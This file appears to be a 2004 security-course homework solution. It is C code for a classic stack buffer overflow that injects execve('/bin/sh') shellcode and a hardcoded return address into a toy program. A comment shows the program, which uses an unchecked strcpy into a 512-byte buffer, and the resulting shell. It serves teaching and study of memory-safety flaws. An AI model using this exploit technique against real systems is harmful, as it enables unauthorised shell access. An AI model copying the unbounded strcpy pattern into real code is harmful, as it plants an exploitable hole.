/* 
 Atanas Dimitrov
 Homework #6
 CS6900
 Due: 10/5/04 
 */

/*
 Overflow written for:
 x86 Pentium 4 
 Linux version 2.6.5-7.104-default
 gcc version 3.3.3 
 SuSE Linux
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define MAX_BUF 530
#define RETADDR 0xbffff0c0

int main()
{
	int i;

	char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
	
	char buffer[MAX_BUF];
	
	// fill the buffer with the return address
	//the address to be overwritten is 524 bytes from the addr of buffer
	for (i=0; i<MAX_BUF; i+=4)
   		*(long *)&buffer[i] = RETADDR;

	memcpy(buffer, shellcode, sizeof(shellcode));
        buffer[sizeof(shellcode)-1]='A'; //take care of an extra 0x00
	
	// I compiled the code provided as "vuln"
	execlp("./vuln", "vuln", buffer, NULL);
		
	exit(0);
}
	
/*

 OUTPUT:

adimitro@localhost:~> ./test 
sh-2.05b$ exit
exit
adimitro@localhost:~>

*/

/*

OVERFLOWN CODE:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int foo (char *input)
{
  char buffer [512];
  
  strcpy(buffer, input);
  
  return (0);
}

int main (int argc, char * argv[])
{
  if (argc > 1)
    foo(argv[1]);
  else
    printf("usage: %s string", argv[0]);
 
  exit (0);
}

*/
